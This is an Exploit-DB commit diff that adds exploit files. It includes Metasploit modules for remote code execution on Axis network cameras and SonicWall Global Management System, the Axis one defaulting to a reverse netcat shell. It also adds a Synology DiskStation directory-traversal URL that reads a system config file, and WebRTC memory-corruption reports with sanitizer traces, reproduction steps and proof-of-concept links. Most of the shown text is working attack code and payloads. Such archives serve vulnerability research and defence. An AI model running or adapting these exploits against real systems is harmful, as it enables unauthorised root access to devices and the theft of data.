DB: 2018-08-02
10 changes to exploits/shellcodes ipPulse 1.92 - 'Licence Key' Denial of Service (PoC) Switch Port Mapping Tool 2.81 - 'SNMP Community Name' Denial of Service (PoC) WebRTC - VP8 Block Decoding Use-After-Free WebRTC - FEC Processing Overflow WebRTC - H264 NAL Packet Processing Type Confusion Allok MOV Converter 4.6.1217 - Buffer Overflow (SEH) Axis Network Camera - .srv to parhand RCE (Metasploit) SonicWall Global Management System - XMLRPC set_time_zone Command Injection (Metasploit) Synology DiskStation Manager 4.1 - Directory Traversal Linux/ARM - Reverse (::1:4444/TCP) Shell (/bin/sh) +IPv6 Shellcode (116 Bytes)
This commit is contained in:
Offensive Security
parent
b02440845e
commit
903bf974eb
12 changed files with 721 additions and 0 deletions
118
exploits/linux/remote/45100.rb
Executable file
118
exploits/linux/remote/45100.rb
Executable file
|
|
@ -0,0 +1,118 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
#include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Axis Network Camera .srv to parhand RCE',
|
||||
'Description' => %q{
|
||||
This module exploits an auth bypass in .srv functionality and a
|
||||
command injection in parhand to execute code as the root user.
|
||||
},
|
||||
'Author' => [
|
||||
'Or Peles', # Vulnerability discovery (VDOO)
|
||||
'wvu', # Metasploit module
|
||||
'sinn3r', # Metasploit module
|
||||
'Brent Cook', # Metasploit module
|
||||
'Jacob Robles', # Metasploit module
|
||||
'Matthew Kienow', # Metasploit module
|
||||
'Shelby Pace', # Metasploit module
|
||||
'Chris Lee', # Metasploit module
|
||||
'Cale Black' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2018-10660'],
|
||||
['CVE', '2018-10661'],
|
||||
['CVE', '2018-10662'],
|
||||
['URL', 'https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/'],
|
||||
['URL', 'https://www.axis.com/files/faq/Advisory_ACV-128401.pdf']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 18 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix'],# 'linux'],
|
||||
'Arch' => [ARCH_CMD],# ARCH_ARMLE],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['Unix In-Memory',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'Payload' => {
|
||||
'BadChars' => ' ',
|
||||
'Encoder' => 'cmd/ifs',
|
||||
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'netcat-e'}
|
||||
}
|
||||
],
|
||||
=begin
|
||||
['Linux Dropper',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Type' => :linux_dropper
|
||||
]
|
||||
=end
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'}
|
||||
))
|
||||
end
|
||||
|
||||
def exploit
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
execute_command(payload.encoded)
|
||||
=begin
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
=end
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
rand_srv = "#{Rex::Text.rand_text_alphanumeric(8..42)}.srv"
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => "/index.html/#{rand_srv}",
|
||||
'vars_post' => {
|
||||
'action' => 'dbus',
|
||||
'args' => dbus_send(
|
||||
method: :set_param,
|
||||
param: "string:root.Time.DST.Enabled string:;#{cmd};"
|
||||
)
|
||||
}
|
||||
)
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => "/index.html/#{rand_srv}",
|
||||
'vars_post' => {
|
||||
'action' => 'dbus',
|
||||
'args' => dbus_send(method: :synch_params)
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def dbus_send(method:, param: nil)
|
||||
args = '--system --dest=com.axis.PolicyKitParhand ' \
|
||||
'--type=method_call /com/axis/PolicyKitParhand '
|
||||
|
||||
args <<
|
||||
case method
|
||||
when :set_param
|
||||
"com.axis.PolicyKitParhand.SetParameter #{param}"
|
||||
when :synch_params
|
||||
'com.axis.PolicyKitParhand.SynchParameters'
|
||||
end
|
||||
|
||||
args
|
||||
end
|
||||
|
||||
end
|
||||
132
exploits/linux/remote/45124.rb
Executable file
132
exploits/linux/remote/45124.rb
Executable file
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "SonicWall Global Management System XMLRPC
|
||||
set_time_zone Unath RCE",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in SonicWall Global
|
||||
Management System Virtual Appliance versions 8.1 (Build 8110.1197)
|
||||
and below. This virtual appliance can be downloaded from
|
||||
http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a
|
||||
holistic way to manage your entire network security environment.'
|
||||
|
||||
These vulnerable versions (8.1 Build 8110.1197 and below) do not
|
||||
prevent unauthenticated, external entities from making XML-RPC
|
||||
requests to port 21009 of the virtual app. After the XML-RPC call
|
||||
is made, a shell script is called like so:
|
||||
'timeSetup.sh --tz="`command injection here`"' --usentp="blah"'.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Michael Flanders', #MSF Module
|
||||
'kernelsmith' #Advisor
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://www.digitaldefense.com/digital-defense/vrt-discoveries/'],
|
||||
['URL', 'https://slides.com/kernelsmith/bsidesaustin2018/#/']
|
||||
],
|
||||
'Platform' => [ 'unix' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [
|
||||
[ 'SonicWall Global Management System Virtual Appliance', {} ],
|
||||
],
|
||||
'Payload' => {
|
||||
# Can't use ampersand, Java's XML-RPC parser will complain and return an error
|
||||
'BadChars' => "\x26",
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic bash telnet'
|
||||
}
|
||||
},
|
||||
'DisclosureDate' => "Jul 22 2016",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WEB_SERVER_PORT', [ false, 'Port of web console login page.
|
||||
Defaults to 80/443 depending on SSL.'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
if datastore['WEB_SERVER_PORT']
|
||||
port_number = datastore['WEB_SERVER_PORT']
|
||||
else
|
||||
port_number = datastore['SSL'] ? '443' : '80'
|
||||
end
|
||||
|
||||
handler = datastore['SSL'] ? 'https' : 'http'
|
||||
|
||||
res = request_url("#{handler}://#{rhost}:#{port_number}")
|
||||
|
||||
unless res
|
||||
vprint_error 'Connection failed'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.code == 200 && res.body =~ /<TITLE>.+v(\d\.\d)/
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
version = Gem::Version.new $1.to_s
|
||||
|
||||
unless version <= Gem::Version.new('8.1')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Appears
|
||||
fail_with Failure::NotVulnerable, "The target is not vulnerable."
|
||||
end
|
||||
|
||||
print_status "The target appears to be vulnerable, continuing exploit..."
|
||||
send_xml
|
||||
end
|
||||
|
||||
def send_xml
|
||||
xml_body = <<~HERESTRING
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<methodCall>
|
||||
<methodName>set_time_config</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value>
|
||||
<struct>
|
||||
<member>
|
||||
<name>timezone</name>
|
||||
<value>
|
||||
<string>"`#{payload.encoded}`"</string>
|
||||
</value>
|
||||
</member>
|
||||
</struct>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
HERESTRING
|
||||
|
||||
res = send_request_raw({
|
||||
'method' => 'POST',
|
||||
'uri' => '/',
|
||||
'data' => xml_body,
|
||||
'ctype' => 'text/xml; charset=UTF-8'
|
||||
})
|
||||
|
||||
unless res && res.body.include?("success")
|
||||
print_error("Error sending XML to #{rhost}:#{rport}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
13
exploits/linux/webapps/45073.txt
Normal file
13
exploits/linux/webapps/45073.txt
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
# Exploit Title: Synology DiskStation Manager 4.1 - Directory Traversal
|
||||
# Google Dork: N/A
|
||||
# Date: 2018-07-21
|
||||
# Exploit Author: Berk Dusunur
|
||||
# Vendor Homepage: https://www.synology.com
|
||||
# Software Link: https://www.synology.com
|
||||
# Version: v4.1
|
||||
# Tested on: Parrot OS
|
||||
# CVE : N/A
|
||||
|
||||
# PoC
|
||||
|
||||
http://target:8888/scripts/uistrings.cgi?lang=.////////////////////////////////////////////////////////////////////////////////////////../../../../../etc/synoinfo.conf
|
||||
106
exploits/multiple/dos/45121.txt
Normal file
106
exploits/multiple/dos/45121.txt
Normal file
|
|
@ -0,0 +1,106 @@
|
|||
There is a use-after-free in VP8 block decoding in WebRTC. The contents of the freed block is then treated a pointer, leading to a crash in WebRTC.
|
||||
|
||||
==20098==ERROR: AddressSanitizer: heap-use-after-free on address 0x6330000a9491 at pc 0x0000014cde2f bp 0x7ff20616d7e0 sp 0x7ff20616d7d8
|
||||
READ of size 1 at 0x6330000a9491 thread T5 (DecodingThread)
|
||||
#0 0x14cde2e in vp8_deblock third_party/libvpx/source/libvpx/vp8/common/postproc.c:85:37
|
||||
#1 0x14ce6b2 in vp8_post_proc_frame third_party/libvpx/source/libvpx/vp8/common/postproc.c:354:5
|
||||
#2 0x14963a4 in vp8dx_get_raw_frame third_party/libvpx/source/libvpx/vp8/decoder/onyxd_if.c:404:9
|
||||
#3 0x149221f in vp8_get_frame third_party/libvpx/source/libvpx/vp8/vp8_dx_iface.c:465:14
|
||||
#4 0x148c118 in webrtc::LibvpxVp8Decoder::Decode(webrtc::EncodedImage const&, bool, webrtc::RTPFragmentationHeader const*, webrtc::CodecSpecificInfo const*, long) modules/video_coding/codecs/vp8/libvpx_vp8_decoder.cc:254:9
|
||||
#5 0x1b930b4 in webrtc::VCMGenericDecoder::Decode(webrtc::VCMEncodedFrame const&, long) modules/video_coding/generic_decoder.cc:233:29
|
||||
#6 0x1b6fad3 in webrtc::vcm::VideoReceiver::Decode(webrtc::VCMEncodedFrame const&) modules/video_coding/video_receiver.cc:374:19
|
||||
#7 0x1b6ff19 in webrtc::vcm::VideoReceiver::Decode(webrtc::VCMEncodedFrame const*) modules/video_coding/video_receiver.cc:340:10
|
||||
#8 0x1af33e4 in webrtc::internal::VideoReceiveStream::Decode() video/video_receive_stream.cc:433:41
|
||||
#9 0x1aedc8f in webrtc::internal::VideoReceiveStream::DecodeThreadFunction(void*) video/video_receive_stream.cc:410:49
|
||||
#10 0x6544d3 in Run rtc_base/platform_thread.cc:163:5
|
||||
#11 0x6544d3 in rtc::PlatformThread::StartThread(void*) rtc_base/platform_thread.cc:81
|
||||
#12 0x7ff22125e493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493)
|
||||
|
||||
0x6330000a9491 is located 3217 bytes inside of 96619-byte region [0x6330000a8800,0x6330000c016b)
|
||||
freed by thread T5 (DecodingThread) here:
|
||||
#0 0x59e3e2 in __interceptor_free /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3
|
||||
#1 0x1492a54 in vp8_de_alloc_frame_buffers third_party/libvpx/source/libvpx/vp8/common/alloccommon.c:41:3
|
||||
#2 0x1492b0c in vp8_alloc_frame_buffers third_party/libvpx/source/libvpx/vp8/common/alloccommon.c:54:3
|
||||
#3 0x149126c in vp8_decode third_party/libvpx/source/libvpx/vp8/vp8_dx_iface.c:374:13
|
||||
#4 0x14d42c5 in vpx_codec_decode third_party/libvpx/source/libvpx/vpx/src/vpx_decoder.c:116:11
|
||||
#5 0x148c0a1 in webrtc::LibvpxVp8Decoder::Decode(webrtc::EncodedImage const&, bool, webrtc::RTPFragmentationHeader const*, webrtc::CodecSpecificInfo const*, long) modules/video_coding/codecs/vp8/libvpx_vp8_decoder.cc:245:7
|
||||
#6 0x1b930b4 in webrtc::VCMGenericDecoder::Decode(webrtc::VCMEncodedFrame const&, long) modules/video_coding/generic_decoder.cc:233:29
|
||||
#7 0x1b6fad3 in webrtc::vcm::VideoReceiver::Decode(webrtc::VCMEncodedFrame const&) modules/video_coding/video_receiver.cc:374:19
|
||||
#8 0x1b6ff19 in webrtc::vcm::VideoReceiver::Decode(webrtc::VCMEncodedFrame const*) modules/video_coding/video_receiver.cc:340:10
|
||||
#9 0x1af33e4 in webrtc::internal::VideoReceiveStream::Decode() video/video_receive_stream.cc:433:41
|
||||
#10 0x1aedc8f in webrtc::internal::VideoReceiveStream::DecodeThreadFunction(void*) video/video_receive_stream.cc:410:49
|
||||
#11 0x6544d3 in Run rtc_base/platform_thread.cc:163:5
|
||||
#12 0x6544d3 in rtc::PlatformThread::StartThread(void*) rtc_base/platform_thread.cc:81
|
||||
#13 0x7ff22125e493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493)
|
||||
|
||||
previously allocated by thread T5 (DecodingThread) here:
|
||||
#0 0x59e723 in __interceptor_malloc /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3
|
||||
#1 0x1530d92 in vpx_calloc third_party/libvpx/source/libvpx/vpx_mem/vpx_mem.c:60:10
|
||||
#2 0x1492e12 in vp8_alloc_frame_buffers third_party/libvpx/source/libvpx/vp8/common/alloccommon.c:90:7
|
||||
#3 0x149126c in vp8_decode third_party/libvpx/source/libvpx/vp8/vp8_dx_iface.c:374:13
|
||||
#4 0x14d42c5 in vpx_codec_decode third_party/libvpx/source/libvpx/vpx/src/vpx_decoder.c:116:11
|
||||
#5 0x148c0a1 in webrtc::LibvpxVp8Decoder::Decode(webrtc::EncodedImage const&, bool, webrtc::RTPFragmentationHeader const*, webrtc::CodecSpecificInfo const*, long) modules/video_coding/codecs/vp8/libvpx_vp8_decoder.cc:245:7
|
||||
#6 0x1b930b4 in webrtc::VCMGenericDecoder::Decode(webrtc::VCMEncodedFrame const&, long) modules/video_coding/generic_decoder.cc:233:29
|
||||
#7 0x1b6fad3 in webrtc::vcm::VideoReceiver::Decode(webrtc::VCMEncodedFrame const&) modules/video_coding/video_receiver.cc:374:19
|
||||
#8 0x1b6ff19 in webrtc::vcm::VideoReceiver::Decode(webrtc::VCMEncodedFrame const*) modules/video_coding/video_receiver.cc:340:10
|
||||
#9 0x1af33e4 in webrtc::internal::VideoReceiveStream::Decode() video/video_receive_stream.cc:433:41
|
||||
#10 0x1aedc8f in webrtc::internal::VideoReceiveStream::DecodeThreadFunction(void*) video/video_receive_stream.cc:410:49
|
||||
#11 0x6544d3 in Run rtc_base/platform_thread.cc:163:5
|
||||
#12 0x6544d3 in rtc::PlatformThread::StartThread(void*) rtc_base/platform_thread.cc:81
|
||||
#13 0x7ff22125e493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493)
|
||||
|
||||
Thread T5 (DecodingThread) created by T0 here:
|
||||
#0 0x5871ed in __interceptor_pthread_create /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors.cc:210:3
|
||||
#1 0x654760 in rtc::PlatformThread::Start() rtc_base/platform_thread.cc:103:3
|
||||
#2 0x1af010e in webrtc::internal::VideoReceiveStream::Start() video/video_receive_stream.cc:227:18
|
||||
#3 0x5d9f4d in webrtc::RtpReplay() video/replay.cc:614:19
|
||||
#4 0x5dd5fe in main video/replay.cc:700:3
|
||||
#5 0x7ff21f8f92b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-use-after-free third_party/libvpx/source/libvpx/vp8/common/postproc.c:85:37 in vp8_deblock
|
||||
Shadow bytes around the buggy address:
|
||||
0x0c668000d240: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c668000d250: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c668000d260: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c668000d270: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c668000d280: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
=>0x0c668000d290: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c668000d2a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c668000d2b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c668000d2c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c668000d2d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c668000d2e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
==20098==ABORTING
|
||||
|
||||
To reproduce this issue:
|
||||
|
||||
1) replace video/replay.cc with the attached version, and build it with asan (ninja -C out/asan video_replay). Note that this file adds the ability to load a full receiver config to the video replay tool, I'm hoping to eventually get this change committed to WebRTC.
|
||||
|
||||
2) Download the attached files config3.txt and heapuaf
|
||||
|
||||
3) run video_replay --input_file heapuaf --config_file config3.txt
|
||||
|
||||
This issue affects any browser that supports VP8, and can be reached by loading a single webpage (though some browsers will prompt for permissions). It also affects native clients (such as mobile applications) that use webrtc and support VP8, though the user has to place or answer a video call for their client to be in the state where this issue is reachable.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/45121.zip
|
||||
76
exploits/multiple/dos/45122.txt
Normal file
76
exploits/multiple/dos/45122.txt
Normal file
|
|
@ -0,0 +1,76 @@
|
|||
There are several calls to memcpy that can overflow the destination buffer in webrtc::UlpfecReceiverImpl::AddReceivedRedPacket. The method takes a parameter incoming_rtp_packet, which is an RTP packet with a mac length that is defined by the transport (2048 bytes for DTLS in Chrome). This packet is then copied to the received_packet in several locations in the method, depending on packet properties, using the lenth of the incoming_rtp_packet as the copy length. The received_packet is a ForwardErrorCorrection::ReceivedPacket, which has a max size of 1500. Therefore, the memcpy calls in this method can overflow this buffer.
|
||||
|
||||
==204614==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b000046670 at pc 0x00000059d958 bp 0x7ffcac5716f0 sp 0x7ffcac570ea0
|
||||
WRITE of size 2316 at 0x61b000046670 thread T0
|
||||
#0 0x59d957 in __asan_memcpy /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23:3
|
||||
#1 0x1b6aacc in webrtc::UlpfecReceiverImpl::AddReceivedRedPacket(webrtc::RTPHeader const&, unsigned char const*, unsigned long, unsigned char) modules/rtp_rtcp/source/ulpfec_receiver_impl.cc:173:5
|
||||
#2 0x1b3cd5c in webrtc::RtpVideoStreamReceiver::ParseAndHandleEncapsulatingHeader(unsigned char const*, unsigned long, webrtc::RTPHeader const&) video/rtp_video_stream_receiver.cc:426:27
|
||||
#3 0x1b39a31 in webrtc::RtpVideoStreamReceiver::ReceivePacket(unsigned char const*, unsigned long, webrtc::RTPHeader const&) video/rtp_video_stream_receiver.cc:402:5
|
||||
#4 0x1b3a895 in webrtc::RtpVideoStreamReceiver::OnRtpPacket(webrtc::RtpPacketReceived const&) video/rtp_video_stream_receiver.cc:301:3
|
||||
#5 0x8c7a26 in webrtc::RtpDemuxer::OnRtpPacket(webrtc::RtpPacketReceived const&) call/rtp_demuxer.cc:157:11
|
||||
#6 0x8cec3d in webrtc::RtpStreamReceiverController::OnRtpPacket(webrtc::RtpPacketReceived const&) call/rtp_stream_receiver_controller.cc:55:19
|
||||
#7 0x12e8507 in webrtc::internal::Call::DeliverRtp(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) call/call.cc:1291:36
|
||||
#8 0x12e92a0 in webrtc::internal::Call::DeliverPacket(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) call/call.cc:1316:10
|
||||
#9 0x5da2a6 in webrtc::RtpReplay() video/replay.cc:635:31
|
||||
#10 0x5dd5fe in main video/replay.cc:700:3
|
||||
#11 0x7feaa1ee92b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
|
||||
|
||||
0x61b000046670 is located 0 bytes to the right of 1520-byte region [0x61b000046080,0x61b000046670)
|
||||
allocated by thread T0 here:
|
||||
#0 0x5c9362 in operator new(unsigned long) /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:93:3
|
||||
#1 0x1b6a8c8 in webrtc::UlpfecReceiverImpl::AddReceivedRedPacket(webrtc::RTPHeader const&, unsigned char const*, unsigned long, unsigned char) modules/rtp_rtcp/source/ulpfec_receiver_impl.cc:165:35
|
||||
#2 0x1b3cd5c in webrtc::RtpVideoStreamReceiver::ParseAndHandleEncapsulatingHeader(unsigned char const*, unsigned long, webrtc::RTPHeader const&) video/rtp_video_stream_receiver.cc:426:27
|
||||
#3 0x1b39a31 in webrtc::RtpVideoStreamReceiver::ReceivePacket(unsigned char const*, unsigned long, webrtc::RTPHeader const&) video/rtp_video_stream_receiver.cc:402:5
|
||||
#4 0x1b3a895 in webrtc::RtpVideoStreamReceiver::OnRtpPacket(webrtc::RtpPacketReceived const&) video/rtp_video_stream_receiver.cc:301:3
|
||||
#5 0x8c7a26 in webrtc::RtpDemuxer::OnRtpPacket(webrtc::RtpPacketReceived const&) call/rtp_demuxer.cc:157:11
|
||||
#6 0x8cec3d in webrtc::RtpStreamReceiverController::OnRtpPacket(webrtc::RtpPacketReceived const&) call/rtp_stream_receiver_controller.cc:55:19
|
||||
#7 0x12e8507 in webrtc::internal::Call::DeliverRtp(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) call/call.cc:1291:36
|
||||
#8 0x12e92a0 in webrtc::internal::Call::DeliverPacket(webrtc::MediaType, rtc::CopyOnWriteBuffer, webrtc::PacketTime const&) call/call.cc:1316:10
|
||||
#9 0x5da2a6 in webrtc::RtpReplay() video/replay.cc:635:31
|
||||
#10 0x5dd5fe in main video/replay.cc:700:3
|
||||
#11 0x7feaa1ee92b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-buffer-overflow /b/build/slave/linux_upload_clang/build/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23:3 in __asan_memcpy
|
||||
Shadow bytes around the buggy address:
|
||||
0x0c3680000c70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c3680000c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c3680000c90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c3680000ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
0x0c3680000cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
=>0x0c3680000cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa
|
||||
0x0c3680000cd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c3680000ce0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c3680000cf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c3680000d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c3680000d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
|
||||
|
||||
To reproduce this issue:
|
||||
|
||||
1) replace video/replay.cc with the attached version, and build it with asan (ninja -C out/asan video_replay). Note that this file adds the ability to load a full receiver config to the video replay tool, I'm hoping to eventually get this change committed to WebRTC.
|
||||
|
||||
2) Download the attached files config4.txt and fallbackoob1
|
||||
|
||||
3) run video_replay --input_file fallbackoob1 --config_file config4.txt
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/45122.zip
|
||||
53
exploits/multiple/dos/45123.txt
Normal file
53
exploits/multiple/dos/45123.txt
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
Type confusion can occur when processing a H264 packet. In the method PacketBuffer::FindFrames in modules/video_coding/packet_buffer.cc there is a loop on line 296 that goes through the data_buffer_ vector backwards. The flag is_h264 is set before this loop, and if it is true, the loop extracts and sets h264 struct specific data in each packet of the buffer. This flag is not updated for each packet. So if a number of non-h264 packets are followed by a h264 packet, a VP8 or VP9 packet can be treated at a h264 check, allowing several bounds checks to be bypassed.
|
||||
|
||||
1) unzip the attached webrtc-from-chat2.zip on a local webserver
|
||||
2) fetch the webrtc source (https://webrtc.org/native-code/development/), and replace pc/srtptransport.cc and third_party/libsrtp/crypto/cipher/cipher.c with the version attached to the issue
|
||||
3) build webrtc, including the examples
|
||||
4) run the attached webrtcserver.py with python 3.6 or higher
|
||||
5) start the peerconnection_client sample in the webrtc examples. Connect to the recommended server, and then select test2 as the peer to connect to
|
||||
6) visit http://127.0.0.1/webrtc-from-chat/index.html in chrome
|
||||
7) Enter any username and hit "Log in"
|
||||
8) Type anything into the chat window at the bottom and hit send
|
||||
|
||||
Though the attached PoC requires user interaction, it is not necessary to exercise this issue in a browser.
|
||||
|
||||
This issue affects any browser that supports H264, and can be reached by loading a single webpage (though some browsers will prompt for permissions). It also affects native clients (such as mobile applications) that use webrtc and support H264, though the user has to place or answer a video call for their client to be in the state where this issue is reachable.
|
||||
|
||||
Please note it is not sufficient to fix this issue in Chrome, it needs to be upstreamed to webrtc, so all users of the library can get the fix.
|
||||
|
||||
Adding stack trace:
|
||||
|
||||
#0 0x55bd530e0721 in webrtc::video_coding::PacketBuffer::FindFrames(unsigned short) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/modules/video_coding/packet_buffer.cc:314:33
|
||||
#1 0x55bd530dcb24 in webrtc::video_coding::PacketBuffer::InsertPacket(webrtc::VCMPacket*) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/modules/video_coding/packet_buffer.cc:126:20
|
||||
#2 0x55bd530d0592 in webrtc::RtpVideoStreamReceiver::OnReceivedPayloadData(unsigned char const*, unsigned long, webrtc::WebRtcRTPHeader const*) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/video/rtp_video_stream_receiver.cc:242:19
|
||||
#3 0x55bd52f225ed in webrtc::RTPReceiverVideo::ParseRtpPacket(webrtc::WebRtcRTPHeader*, webrtc::PayloadUnion const&, unsigned char const*, unsigned long, long) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/modules/rtp_rtcp/source/rtp_receiver_video.cc:109:26
|
||||
#4 0x55bd52f16fbd in webrtc::RtpReceiverImpl::IncomingRtpPacket(webrtc::RTPHeader const&, unsigned char const*, unsigned long, webrtc::PayloadUnion) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/modules/rtp_rtcp/source/rtp_receiver_impl.cc:192:42
|
||||
#5 0x55bd530d144f in webrtc::RtpVideoStreamReceiver::ReceivePacket(unsigned char const*, unsigned long, webrtc::RTPHeader const&) /usr/local/google/home/natashenka/chromium/src/out/asan/../../third_party/webrtc/video/rtp_video_stream_receiver.cc:410:20
|
||||
